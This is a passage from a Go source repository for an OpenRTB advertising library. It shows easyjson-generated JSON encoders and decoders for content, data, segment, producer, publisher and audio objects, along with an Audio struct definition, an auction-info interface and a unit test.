in.Ok() { in.AddError((*out.Embeddable).UnmarshalJSON(data)) } } case "data": if in.IsNull() { in.Skip() out.Data = nil } else { in.Delim('[') if out.Data == nil { if !in.IsDelim(']') { out.Data = make([]*Data, 0, 8) } else { out.Data = []*Data{} } } else { out.Data = (out.Data)[:0] } for !in.IsDelim(']') { var v11 *Data if in.IsNull() { in.Skip() v11 = nil } else { if v11 == nil { v11 = new(Data) } easyjsonB2e97d60DecodeGithubComVungleVungoOpenrtb4(in, v11) } out.Data = append(out.Data, v11) in.WantComma() } in.Delim(']') } case "ext": if m, ok := out.Ext.(easyjson.Unmarshaler); ok { m.UnmarshalEasyJSON(in) } else if m, ok := out.Ext.(json.Unmarshaler); ok { _ = m.UnmarshalJSON(in.Raw()) } else { out.Ext = in.Interface() } default: in.SkipRecursive() } in.WantComma() } in.Delim('}') if isTopLevel { in.Consumed() } } func easyjsonB2e97d60EncodeGithubComVungleVungoOpenrtb2(out *jwriter.Writer, in Content) { out.RawByte('{') first := true _ = first if in.ID != "" { const prefix string = ",\"id\":" first = false out.RawString(prefix[1:]) out.String(string(in.ID)) } if in.Episode != nil { const prefix string = ",\"episode\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.Int(int(*in.Episode)) } if in.Title != "" { const prefix string = ",\"title\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Title)) } if in.Series != "" { const prefix string = ",\"series\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Series)) } if in.Season != "" { const prefix string = ",\"season\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Season)) } if in.Artist != "" { const prefix string = ",\"artist\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Artist)) } if in.Genre != "" { const prefix string = ",\"genre\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Genre)) } if in.Album != "" { const prefix string = ",\"album\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Album)) } if in.ISRC != "" { const prefix string = ",\"isrc\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.ISRC)) } if in.Producer != nil { const prefix string = ",\"producer\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } easyjsonB2e97d60EncodeGithubComVungleVungoOpenrtb3(out, *in.Producer) } if in.URL != "" { const prefix string = ",\"url\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.URL)) } if len(in.Cat) != 0 { const prefix string = ",\"cat\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } { out.RawByte('[') for v12, v13 := range in.Cat { if v12 > 0 { out.RawByte(',') } out.String(string(v13)) } out.RawByte(']') } } if in.ProdQ != 0 { const prefix string = ",\"prodq\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.Int(int(in.ProdQ)) } if in.VideoQuality != 0 { const prefix string = ",\"videoquality\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.Int(int(in.VideoQuality)) } if in.Context != 0 { const prefix string = ",\"context\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.Int(int(in.Context)) } if in.ContentRating != "" { const prefix string = ",\"contentrating\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.ContentRating)) } if in.UserRating != "" { const prefix string = ",\"userrating\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.UserRating)) } if in.QAGMediaRating != 0 { const prefix string = ",\"qagmediarating\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.Int(int(in.QAGMediaRating)) } if in.Keywords != "" { const prefix string = ",\"keywords\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Keywords)) } if in.LiveStream != nil { const prefix string = ",\"livestream\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.Raw((*in.LiveStream).MarshalJSON()) } if in.SourceRelationship != nil { const prefix string = ",\"sourcerelationship\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.Raw((*in.SourceRelationship).MarshalJSON()) } if in.Len != nil { const prefix string = ",\"len\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.Int(int(*in.Len)) } if in.Language != "" { const prefix string = ",\"language\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Language)) } if in.Embeddable != nil { const prefix string = ",\"embeddable\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.Raw((*in.Embeddable).MarshalJSON()) } if len(in.Data) != 0 { const prefix string = ",\"data\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } { out.RawByte('[') for v14, v15 := range in.Data { if v14 > 0 { out.RawByte(',') } if v15 == nil { out.RawString("null") } else { easyjsonB2e97d60EncodeGithubComVungleVungoOpenrtb4(out, *v15) } } out.RawByte(']') } } if in.Ext != nil { const prefix string = ",\"ext\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } if m, ok := in.Ext.(easyjson.Marshaler); ok { m.MarshalEasyJSON(out) } else if m, ok := in.Ext.(json.Marshaler); ok { out.Raw(m.MarshalJSON()) } else { out.Raw(json.Marshal(in.Ext)) } } out.RawByte('}') } func easyjsonB2e97d60DecodeGithubComVungleVungoOpenrtb4(in *jlexer.Lexer, out *Data) { isTopLevel := in.IsStart() if in.IsNull() { if isTopLevel { in.Consumed() } in.Skip() return } in.Delim('{') for !in.IsDelim('}') { key := in.UnsafeFieldName(false) in.WantColon() if in.IsNull() { in.Skip() in.WantComma() continue } switch key { case "id": out.ID = string(in.String()) case "name": out.Name = string(in.String()) case "segment": if in.IsNull() { in.Skip() out.Segment = nil } else { in.Delim('[') if out.Segment == nil { if !in.IsDelim(']') { out.Segment = make([]*Segment, 0, 8) } else { out.Segment = []*Segment{} } } else { out.Segment = (out.Segment)[:0] } for !in.IsDelim(']') { var v16 *Segment if in.IsNull() { in.Skip() v16 = nil } else { if v16 == nil { v16 = new(Segment) } easyjsonB2e97d60DecodeGithubComVungleVungoOpenrtb5(in, v16) } out.Segment = append(out.Segment, v16) in.WantComma() } in.Delim(']') } case "ext": if m, ok := out.Ext.(easyjson.Unmarshaler); ok { m.UnmarshalEasyJSON(in) } else if m, ok := out.Ext.(json.Unmarshaler); ok { _ = m.UnmarshalJSON(in.Raw()) } else { out.Ext = in.Interface() } default: in.SkipRecursive() } in.WantComma() } in.Delim('}') if isTopLevel { in.Consumed() } } func easyjsonB2e97d60EncodeGithubComVungleVungoOpenrtb4(out *jwriter.Writer, in Data) { out.RawByte('{') first := true _ = first if in.ID != "" { const prefix string = ",\"id\":" first = false out.RawString(prefix[1:]) out.String(string(in.ID)) } if in.Name != "" { const prefix string = ",\"name\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Name)) } if len(in.Segment) != 0 { const prefix string = ",\"segment\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } { out.RawByte('[') for v17, v18 := range in.Segment { if v17 > 0 { out.RawByte(',') } if v18 == nil { out.RawString("null") } else { easyjsonB2e97d60EncodeGithubComVungleVungoOpenrtb5(out, *v18) } } out.RawByte(']') } } if in.Ext != nil { const prefix string = ",\"ext\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } if m, ok := in.Ext.(easyjson.Marshaler); ok { m.MarshalEasyJSON(out) } else if m, ok := in.Ext.(json.Marshaler); ok { out.Raw(m.MarshalJSON()) } else { out.Raw(json.Marshal(in.Ext)) } } out.RawByte('}') } func easyjsonB2e97d60DecodeGithubComVungleVungoOpenrtb5(in *jlexer.Lexer, out *Segment) { isTopLevel := in.IsStart() if in.IsNull() { if isTopLevel { in.Consumed() } in.Skip() return } in.Delim('{') for !in.IsDelim('}') { key := in.UnsafeFieldName(false) in.WantColon() if in.IsNull() { in.Skip() in.WantComma() continue } switch key { case "id": out.ID = string(in.String()) case "name": out.Name = string(in.String()) case "value": out.Value = string(in.String()) case "ext": if m, ok := out.Ext.(easyjson.Unmarshaler); ok { m.UnmarshalEasyJSON(in) } else if m, ok := out.Ext.(json.Unmarshaler); ok { _ = m.UnmarshalJSON(in.Raw()) } else { out.Ext = in.Interface() } default: in.SkipRecursive() } in.WantComma() } in.Delim('}') if isTopLevel { in.Consumed() } } func easyjsonB2e97d60EncodeGithubComVungleVungoOpenrtb5(out *jwriter.Writer, in Segment) { out.RawByte('{') first := true _ = first if in.ID != "" { const prefix string = ",\"id\":" first = false out.RawString(prefix[1:]) out.String(string(in.ID)) } if in.Name != "" { const prefix string = ",\"name\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Name)) } if in.Value != "" { const prefix string = ",\"value\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Value)) } if in.Ext != nil { const prefix string = ",\"ext\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } if m, ok := in.Ext.(easyjson.Marshaler); ok { m.MarshalEasyJSON(out) } else if m, ok := in.Ext.(json.Marshaler); ok { out.Raw(m.MarshalJSON()) } else { out.Raw(json.Marshal(in.Ext)) } } out.RawByte('}') } func easyjsonB2e97d60DecodeGithubComVungleVungoOpenrtb3(in *jlexer.Lexer, out *Producer) { isTopLevel := in.IsStart() if in.IsNull() { if isTopLevel { in.Consumed() } in.Skip() return } in.Delim('{') for !in.IsDelim('}') { key := in.UnsafeFieldName(false) in.WantColon() if in.IsNull() { in.Skip() in.WantComma() continue } switch key { case "id": out.ID = string(in.String()) case "name": out.Name = string(in.String()) case "cat": if in.IsNull() { in.Skip() out.Cat = nil } else { in.Delim('[') if out.Cat == nil { if !in.IsDelim(']') { out.Cat = make([]string, 0, 4) } else { out.Cat = []string{} } } else { out.Cat = (out.Cat)[:0] } for !in.IsDelim(']') { var v19 string v19 = string(in.String()) out.Cat = append(out.Cat, v19) in.WantComma() } in.Delim(']') } case "domain": out.Domain = string(in.String()) case "ext": if m, ok := out.Ext.(easyjson.Unmarshaler); ok { m.UnmarshalEasyJSON(in) } else if m, ok := out.Ext.(json.Unmarshaler); ok { _ = m.UnmarshalJSON(in.Raw()) } else { out.Ext = in.Interface() } default: in.SkipRecursive() } in.WantComma() } in.Delim('}') if isTopLevel { in.Consumed() } } func easyjsonB2e97d60EncodeGithubComVungleVungoOpenrtb3(out *jwriter.Writer, in Producer) { out.RawByte('{') first := true _ = first if in.ID != "" { const prefix string = ",\"id\":" first = false out.RawString(prefix[1:]) out.String(string(in.ID)) } if in.Name != "" { const prefix string = ",\"name\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Name)) } if len(in.Cat) != 0 { const prefix string = ",\"cat\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } { out.RawByte('[') for v20, v21 := range in.Cat { if v20 > 0 { out.RawByte(',') } out.String(string(v21)) } out.RawByte(']') } } if in.Domain != "" { const prefix string = ",\"domain\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Domain)) } if in.Ext != nil { const prefix string = ",\"ext\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } if m, ok := in.Ext.(easyjson.Marshaler); ok { m.MarshalEasyJSON(out) } else if m, ok := in.Ext.(json.Marshaler); ok { out.Raw(m.MarshalJSON()) } else { out.Raw(json.Marshal(in.Ext)) } } out.RawByte('}') } func easyjsonB2e97d60DecodeGithubComVungleVungoOpenrtb1(in *jlexer.Lexer, out *Publisher) { isTopLevel := in.IsStart() if in.IsNull() { if isTopLevel { in.Consumed() } in.Skip() return } in.Delim('{') for !in.IsDelim('}') { key := in.UnsafeFieldName(false) in.WantColon() if in.IsNull() { in.Skip() in.WantComma() continue } switch key { case "id": out.ID = string(in.String()) case "name": out.Name = string(in.String()) case "cat": if in.IsNull() { in.Skip() out.Categories = nil } else { in.Delim('[') if out.Categories == nil { if !in.IsDelim(']') { out.Categories = make([]string, 0, 4) } else { out.Categories = []string{} } } else { out.Categories = (out.Categories)[:0] } for !in.IsDelim(']') { var v22 string v22 = string(in.String()) out.Categories = append(out.Categories, v22) in.WantComma() } in.Delim(']') } case "domain": out.Domain = string(in.String()) case "ext": if data := in.Raw(); in.Ok() { in.AddError((out.Extension).UnmarshalJSON(data)) } default: in.SkipRecursive() } in.WantComma() } in.Delim('}') if isTopLevel { in.Consumed() } } func easyjsonB2e97d60EncodeGithubComVungleVungoOpenrtb1(out *jwriter.Writer, in Publisher) { out.RawByte('{') first := true _ = first { const prefix string = ",\"id\":" out.RawString(prefix[1:]) out.String(string(in.ID)) } if in.Name != "" { const prefix string = ",\"name\":" out.RawString(prefix) out.String(string(in.Name)) } if len(in.Categories) != 0 { const prefix string = ",\"cat\":" out.RawString(prefix) { out.RawByte('[') for v23, v24 := range in.Categories { if v23 > 0 { out.RawByte(',') } out.String(string(v24)) } out.RawByte(']') } } if in.Domain != "" { const prefix string = ",\"domain\":" out.RawString(prefix) out.String(string(in.Domain)) } if len(in.Extension) != 0 { const prefix string = ",\"ext\":" out.RawString(prefix) out.Raw((in.Extension).MarshalJSON()) } out.RawByte('}') } ``` ## /openrtb/application_test.go ```go path="/openrtb/application_test.go" package openrtb_test import ( "reflect" "testing" "github.com/unsteadykis/vungo/openrtb" "github.com/unsteadykis/vungo/openrtb/openrtbtest" ) var ApplicationModelType = reflect.TypeOf(openrtb.Application{}) func TestApplicationMarshalUnmarshal(t *testing.T) { openrtbtest.VerifyModelAgainstFile(t, "application.json", ApplicationModelType) } func TestApplication_Fields(t *testing.T) { if err := openrtbtest.VerifyStructFieldNameWithStandardTextFile( (*openrtb.Application)(nil), "testdata/app_std.txt"); err != "" { t.Error(err) } } func TestApplication_Copy(t *testing.T) { a := openrtb.Application{} if err := openrtbtest.VerifyDeepCopy(&a, a.Copy()); err != nil { t.Errorf("Copy() should be deep copy\n%v\n", err) } openrtbtest.FillWithNonNilValue(&a) if err := openrtbtest.VerifyDeepCopy(&a, a.Copy()); err != nil { t.Errorf("Copy() should be deep copy\n%v\n", err) } } ``` ## /openrtb/auctioninfo.go ```go path="/openrtb/auctioninfo.go" package openrtb // AuctionInfo is the interface that provides auction details. // // Exchanges should implement this interface on the relevant auction detail objects. // // Price returns the auction settlement price. type AuctionInfo interface { // AuctionID method returns the auction ID for the bid. AuctionID() string // Currency method returns currency. Currency() Currency // AuctionPrice method returns the settlement price. AuctionPrice() float64 // AuctionMinToWin method returns the auction min bid to win price. AuctionMinToWin() float64 } ``` ## /openrtb/audio.go ```go path="/openrtb/audio.go" package openrtb import ( "errors" "github.com/unsteadykis/vungo/internal/util" ) // Audio represents an audio type impression. Many of the fields are non-essential for minimally // viable transactions, but are included to offer fine control when needed. Audio in OpenRTB generally // assumes compliance with the DAAST standard. As such, the notion of companion ads is supported by // optionally including an array of Banner objects (refer to the Banner object in Section 3.2.6) that define // these companion ads. // // The presence of a Audio as a subordinate of the Imp object indicates that this impression is offered as // an audio type impression. At the publisher’s discretion, that same impression may also be offered as // banner, video, and/or native by also including as Imp subordinates objects of those types. However, any // given bid for the impression must conform to one of the offered types. // See OpenRTB 2.5 Sec 3.2.8. // //go:generate easyjson $GOFILE //easyjson:json type Audio struct { // Attribute: // mimes // Type: // string array; required // Description: // Content MIME types supported (e.g., “audio/mp4”). MIMETypes []string `json:"mimes"` // Attribute: // minduration // Type: // integer; recommended // Description: // Minimum audio ad duration in seconds. MinDuration *int `json:"minduration,omitempty"` // Attribute: // maxduration // Type: // integer; recommended // Description: // Maximum audio ad duration in seconds. MaxDuration *int `json:"maxduration,omitempty"` // Attribute: // protocols // Type: // integer array; recommended // Description: // Array of supported audio protocols. Refer to List 5.8. Protocols []Protocol `json:"protocols,omitempty"` // Attribute: // startdelay // Type: // integer; recommended // Description: // Indicates the start delay in seconds for pre-roll, mid-roll, or // post-roll ad placements. Refer to List 5.12. StartDelay *StartDelay `json:"startdelay,omitempty"` // Attribute: // sequence // Type: // integer // Description: // If multiple ad impressions are offered in the same bid request, // the sequence number will allow for the coordinated delivery of // multiple creatives. Sequence int `json:"sequence,omitempty"` // Attribute: // battr // Type: // integer array // Description: // Blocked creative attributes. Refer to List 5.3. BlockedCreativeAttributes []CreativeAttribute `json:"battr,omitempty"` // Attribute: // maxextended // Type: // integer // Description: // Maximum extended ad duration if extension is allowed. If // blank or 0, extension is not allowed. If -1, extension is // allowed, and there is no time limit imposed. If greater than 0, // then the value represents the number of seconds of extended // play supported beyond the maxduration value. MaxExtendedDuration int `json:"maxextended,omitempty"` // Attribute: // minbitrate // Type: // integer // Description: // Minimum bit rate in Kbps. MinBitRate int `json:"minbitrate,omitempty"` // Attribute: // maxbitrate // Type: // integer // Description: // Maximum bit rate in Kbps. MaxBitRate int `json:"maxbitrate,omitempty"` // Attribute: // delivery // Type: // integer array // Description: // Supported delivery methods (e.g., streaming, progressive). If // none specified, assume all are supported. Refer to List 5.15. DeliveryMethods []DeliveryMethod `json:"delivery,omitempty"` // Attribute: // companionad // Type: // object array // Description: // Array of Banner objects (Section 3.2.6) if companion ads are // available. CompanionAds []Banner `json:"companionad,omitempty"` // Attribute: // api // Type: // integer array // Description: // List of supported API frameworks for this impression. Refer to // List 5.6. If an API is not explicitly listed, it is assumed not to be // supported. APIFrameworks []APIFramework `json:"api,omitempty"` // Attribute: // companiontype // Type: // integer array // Description: // Supported DAAST companion ad types. Refer to List 5.14. // Recommended if companion Banner objects are included via // the companionad array. CompanionTypes []CompanionType `json:"companiontype,omitempty"` // Attribute: // maxseq // Type: // integer // Description: // The maximum number of ads that can be played in an ad pod. MaxSequence int `json:"maxseq,omitempty"` // Attribute: // feed // Type: // integer // Description: // Type of audio feed. Refer to List 5.16. Feed FeedType `json:"feed,omitempty"` // Attribute: // stitched // Type: // integer // Description: // Indicates if the ad is stitched with audio content or delivered // independently, where 0 = no, 1 = yes. Stitched NumericBool `json:"stitched,omitempty"` // Attribute: // nvol // Type: // integer // Description: // Volume normalization mode. Refer to List 5.17. NormalizedVolume VolumeNormalizationMode `json:"nvol,omitempty"` // Attribute: // ext // Type: // object // Description: // Placeholder for exchange-specific extensions to OpenRTB. Extension interface{} `json:"ext,omitempty"` } // Validate method implements a Validater interface and return a validation error according to the // OpenRTB spec. func (a Audio) Validate() error { if len(a.MIMETypes) < 1 { return errors.New("TODO: but need mime types here") } for _, banner := range a.CompanionAds { if err := banner.Validate(); err != nil { return err } } return nil } // Copy returns a pointer to a copy of the audio object. func (a *Audio) Copy() *Audio { if a == nil { return nil } vCopy := *a vCopy.MIMETypes = util.DeepCopyStrSlice(a.MIMETypes) vCopy.MinDuration = util.DeepCopyInt(a.MinDuration) vCopy.MaxDuration = util.DeepCopyInt(a.MaxDuration) if a.Protocols != nil { vCopy.Protocols = make([]Protocol, len(a.Protocols)) copy(vCopy.Protocols, a.Protocols) } vCopy.StartDelay = a.StartDelay.Copy() if a.BlockedCreativeAttributes != nil { vCopy.BlockedCreativeAttributes = make([]CreativeAttribute, len(a.BlockedCreativeAttributes)) copy(vCopy.BlockedCreativeAttributes, a.BlockedCreativeAttributes) } if a.DeliveryMethods != nil { vCopy.DeliveryMethods = make([]DeliveryMethod, len(a.DeliveryMethods)) copy(vCopy.DeliveryMethods, a.DeliveryMethods) } if a.CompanionAds != nil { vCopy.CompanionAds = make([]Banner, len(a.CompanionAds)) for i, companion := range a.CompanionAds { vCopy.CompanionAds[i] = *companion.Copy() } } if a.APIFrameworks != nil { vCopy.APIFrameworks = make([]APIFramework, len(a.APIFrameworks)) copy(vCopy.APIFrameworks, a.APIFrameworks) } if a.CompanionTypes != nil { vCopy.CompanionTypes = make([]CompanionType, len(a.CompanionTypes)) copy(vCopy.CompanionTypes, a.CompanionTypes) } vCopy.Extension = util.DeepCopyCopiable(a.Extension) return &vCopy } ``` ## /openrtb/audio_easyjson.go ```go path="/openrtb/audio_easyjson.go" // Code generated by easyjson for marshaling/unmarshaling. DO NOT EDIT. package openrtb import ( json "encoding/json" easyjson "github.com/mailru/easyjson" jlexer "github.com/mailru/easyjson/jlexer" jwriter "github.com/mailru/easyjson/jwriter" ) // suppress unused package warning var ( _ *json.RawMessage _ *jlexer.Lexer _ *jwriter.Writer _ easyjson.Marshaler ) func easyjson48f1e884DecodeGithubComVungleVungoOpenrtb(in *jlexer.Lexer, out *Audio) { isTopLevel := in.IsStart() if in.IsNull() { if isTopLevel { in.Consumed() } in.Skip() return } in.Delim('{') for !in.IsDelim('}') { key := in.UnsafeFieldName(false) in.WantColon() if in.IsNull() { in.Skip() in.WantComma() continue } switch key { case "mimes": if in.IsNull() { in.Skip() out.MIMETypes = nil } else { in.Delim('[') if out.MIMETypes == nil { if !in.IsDelim(']') { out.MIMETypes = make([]string, 0, 4) } else { out.MIMETypes = []string{} } } else { out.MIMETypes = (out.MIMETypes)[:0] } for !in.IsDelim(']') { var v1 string v1 = string(in.String()) out.MIMETypes = append(out.MIMETypes, v1) in.WantComma() } in.Delim(']') } case "minduration": if in.IsNull() { in.Skip() out.MinDuration = nil } else { if out.MinDuration == nil { out.MinDuration = new(int) } *out.MinDuration = int(in.Int()) } case "maxduration": if in.IsNull() { in.Skip() out.MaxDuration = nil } else { if out.MaxDuration == nil { out.MaxDuration = new(int) } *out.MaxDuration = int(in.Int()) } case "protocols": if in.IsNull() { in.Skip() out.Protocols = nil } else { in.Delim('[') if out.Protocols == nil { if !in.IsDelim(']') { out.Protocols = make([]Protocol, 0, 8) } else { out.Protocols = []Protocol{} } } else { out.Protocols = (out.Protocols)[:0] } for !in.IsDelim(']') { var v2 Protocol v2 = Protocol(in.Int()) out.Protocols = append(out.Protocols, v2) in.WantComma() } in.Delim(']') } case "startdelay": if in.IsNull() { in.Skip() out.StartDelay = nil } else { if out.StartDelay == nil { out.StartDelay = new(StartDelay) } *out.StartDelay = StartDelay(in.Int()) } case "sequence": out.Sequence = int(in.Int()) case "battr": if in.IsNull() { in.Skip() out.BlockedCreativeAttributes = nil } else { in.Delim('[') if out.BlockedCreativeAttributes == nil { if !in.IsDelim(']') { out.BlockedCreativeAttributes = make([]CreativeAttribute, 0, 8) } else { out.BlockedCreativeAttributes = []CreativeAttribute{} } } else { out.BlockedCreativeAttributes = (out.BlockedCreativeAttributes)[:0] } for !in.IsDelim(']') { var v3 CreativeAttribute v3 = CreativeAttribute(in.Int()) out.BlockedCreativeAttributes = append(out.BlockedCreativeAttributes, v3) in.WantComma() } in.Delim(']') } case "maxextended": out.MaxExtendedDuration = int(in.Int()) case "minbitrate": out.MinBitRate = int(in.Int()) case "maxbitrate": out.MaxBitRate = int(in.Int()) case "delivery": if in.IsNull() { in.Skip() out.DeliveryMethods = nil } else { in.Delim('[') if out.DeliveryMethods == nil { if !in.IsDelim(']') { out.DeliveryMethods = make([]DeliveryMethod, 0, 8) } else { out.DeliveryMethods = []DeliveryMethod{} } } else { out.DeliveryMethods = (out.DeliveryMethods)[:0] } for !in.IsDelim(']') { var v4 DeliveryMethod v4 = DeliveryMethod(in.Int()) out.DeliveryMethods = append(out.DeliveryMethods, v4) in.WantComma() } in.Delim(']') } case "companionad": if in.IsNull() { in.Skip() out.CompanionAds = nil } else { in.Delim('[') if out.CompanionAds == nil { if !in.IsDelim(']') { out.CompanionAds = make([]Banner, 0, 0) } else { out.CompanionAds = []Banner{} } } else { out.CompanionAds = (out.CompanionAds)[:0] } for !in.IsDelim(']') { var v5 Banner easyjson48f1e884DecodeGithubComVungleVungoOpenrtb1(in, &v5) out.CompanionAds = append(out.CompanionAds, v5) in.WantComma() } in.Delim(']') } case "api": if in.IsNull() { in.Skip() out.APIFrameworks = nil } else { in.Delim('[') if out.APIFrameworks == nil { if !in.IsDelim(']') { out.APIFrameworks = make([]APIFramework, 0, 8) } else { out.APIFrameworks = []APIFramework{} } } else { out.APIFrameworks = (out.APIFrameworks)[:0] } for !in.IsDelim(']') { var v6 APIFramework v6 = APIFramework(in.Int()) out.APIFrameworks = append(out.APIFrameworks, v6) in.WantComma() } in.Delim(']') } case "companiontype": if in.IsNull() { in.Skip() out.CompanionTypes = nil } else { in.Delim('[') if out.CompanionTypes == nil { if !in.IsDelim(']') { out.CompanionTypes = make([]CompanionType, 0, 8) } else { out.CompanionTypes = []CompanionType{} } } else { out.CompanionTypes = (out.CompanionTypes)[:0] } for !in.IsDelim(']') { var v7 CompanionType v7 = CompanionType(in.Int()) out.CompanionTypes = append(out.CompanionTypes, v7) in.WantComma() } in.Delim(']') } case "maxseq": out.MaxSequence = int(in.Int()) case "feed": out.Feed = FeedType(in.Int()) case "stitched": if data := in.Raw(); in.Ok() { in.AddError((out.Stitched).UnmarshalJSON(data)) } case "nvol": out.NormalizedVolume = VolumeNormalizationMode(in.Int()) case "ext": if m, ok := out.Extension.(easyjson.Unmarshaler); ok { m.UnmarshalEasyJSON(in) } else if m, ok := out.Extension.(json.Unmarshaler); ok { _ = m.UnmarshalJSON(in.Raw()) } else { out.Extension = in.Interface() } default: in.SkipRecursive() } in.WantComma() } in.Delim('}') if isTopLevel { in.Consumed() } } func easyjson48f1e884EncodeGithubComVungleVungoOpenrtb(out *jwriter.Writer, in Audio) { out.RawByte('{') first := true _ = first { const prefix string = ",\"mimes\":" out.RawString(prefix[1:]) if in.MIMETypes == nil && (out.Flags&jwriter.NilSliceAsEmpty) == 0 { out.RawString("null") } else { out.RawByte('[') for v8, v9 := range in.MIMETypes { if v8 > 0 { out.RawByte(',') } out.String(string(v9)) } out.RawByte(']') } } if in.MinDuration != nil { const prefix string = ",\"minduration\":" out.RawString(prefix) out.Int(int(*in.MinDuration)) } if in.MaxDuration != nil { const prefix string = ",\"maxduration\":" out.RawString(prefix) out.Int(int(*in.MaxDuration)) } if len(in.Protocols) != 0 { const prefix string = ",\"protocols\":" out.RawString(prefix) { out.RawByte('[') for v10, v11 := range in.Protocols { if v10 > 0 { out.RawByte(',') } out.Int(int(v11)) } out.RawByte(']') } } if in.StartDelay != nil { const prefix string = ",\"startdelay\":" out.RawString(prefix) out.Int(int(*in.StartDelay)) } if in.Sequence != 0 { const prefix string = ",\"sequence\":" out.RawString(prefix) out.Int(int(in.Sequence)) } if len(in.BlockedCreativeAttributes) != 0 { const prefix string = ",\"battr\":" out.RawString(prefix) { out.RawByte('[') for v12, v13 := range in.BlockedCreativeAttributes { if v12 > 0 { out.RawByte(',') } out.Int(int(v13)) } out.RawByte(']') } } if in.MaxExtendedDuration != 0 { const prefix string = ",\"maxextended\":" out.RawString(prefix) out.Int(int(in.MaxExtendedDuration)) } if in.MinBitRate != 0 { const prefix string = ",\"minbitrate\":" out.RawString(prefix) out.Int(int(in.MinBitRate)) } if in.MaxBitRate != 0 { const prefix string = ",\"maxbitrate\":" out.RawString(prefix) out.Int(int(in.MaxBitRate)) } if len(in.DeliveryMethods) != 0 { const prefix string = ",\"delivery\":" out.RawString(prefix) { out.RawByte('[') for v14, v15 := range in.DeliveryMethods { if v14 > 0 { out.RawByte(',') } out.Int(int(v15)) } out.RawByte(']') } } if len(in.CompanionAds) != 0 { const prefix string = ",\"companionad\":" out.RawString(prefix) { out.RawByte('[') for v16, v17 := range in.CompanionAds { if v16 > 0 { out.RawByte(',') } easyjson48f1e884EncodeGithubComVungleVungoOpenrtb1(out, v17) } out.RawByte(']') } } if len(in.APIFrameworks) != 0 { const prefix string = ",\"api\":" out.RawString(prefix) { out.RawByte('[') for v18, v19 := range in.APIFrameworks { if v18 > 0 { out.RawByte(',') } out.Int(int(v19)) } out.RawByte(']') } } if len(in.CompanionTypes) != 0 { const prefix string = ",\"companiontype\":" out.RawString(prefix) { out.RawByte('[') for v20, v21 := range in.CompanionTypes { if v20 > 0 { out.RawByte(',') } out.Int(int(v21)) } out.RawByte(']') } } if in.MaxSequence != 0 { const prefix string = ",\"maxseq\":" out.RawString(prefix) out.Int(int(in.MaxSequence)) } if in.Feed != 0 { const prefix string = ",\"feed\":" out.RawString(prefix) out.Int(int(in.Feed)) } if in.Stitched { const prefix string = ",\"stitched\":" out.RawString(prefix) out.Raw((in.Stitched).MarshalJSON()) } if in.NormalizedVolume != 0 { const prefix string = ",\"nvol\":" out.RawString(prefix) out.Int(int(in.NormalizedVolume)) } if in.Extension != nil { const prefix string = ",\"ext\":" out.RawString(prefix) if m, ok := in.Extension.(easyjson.Marshaler); ok { m.MarshalEasyJSON(out) } else if m, ok := in.Extension.(json.Marshaler); ok { out.Raw(m.MarshalJSON()) } else { out.Raw(json.Marshal(in.Extension)) } } out.RawByte('}') } // MarshalJSON supports json.Marshaler interface func (v Audio) MarshalJSON() ([]byte, error) { w := jwriter.Writer{} easyjson48f1e884EncodeGithubComVungleVungoOpenrtb(&w, v) return w.Buffer.BuildBytes(), w.Error } // MarshalEasyJSON supports easyjson.Marshaler interface func (v Audio) MarshalEasyJSON(w *jwriter.Writer) { easyjson48f1e884EncodeGithubComVungleVungoOpenrtb(w, v) } // UnmarshalJSON supports json.Unmarshaler interface func (v *Audio) UnmarshalJSON(data []byte) error { r := jlexer.Lexer{Data: data} easyjson48f1e884DecodeGithubComVungleVungoOpenrtb(&r, v) return r.Error() } // UnmarshalEasyJSON supports easyjson.Unmarshaler interface func (v *Audio) UnmarshalEasyJSON(l *jlexer.Lexer) { easyjson48f1e884DecodeGithubComVungleVungoOpenrtb(l, v) } func easyjson48f1e884DecodeGithubComVungleVungoOpenrtb1(in *jlexer.Lexer, out *Banner) { isTopLevel := in.IsStart() if in.IsNull() { if isTopLevel { in.Consumed() } in.Skip() 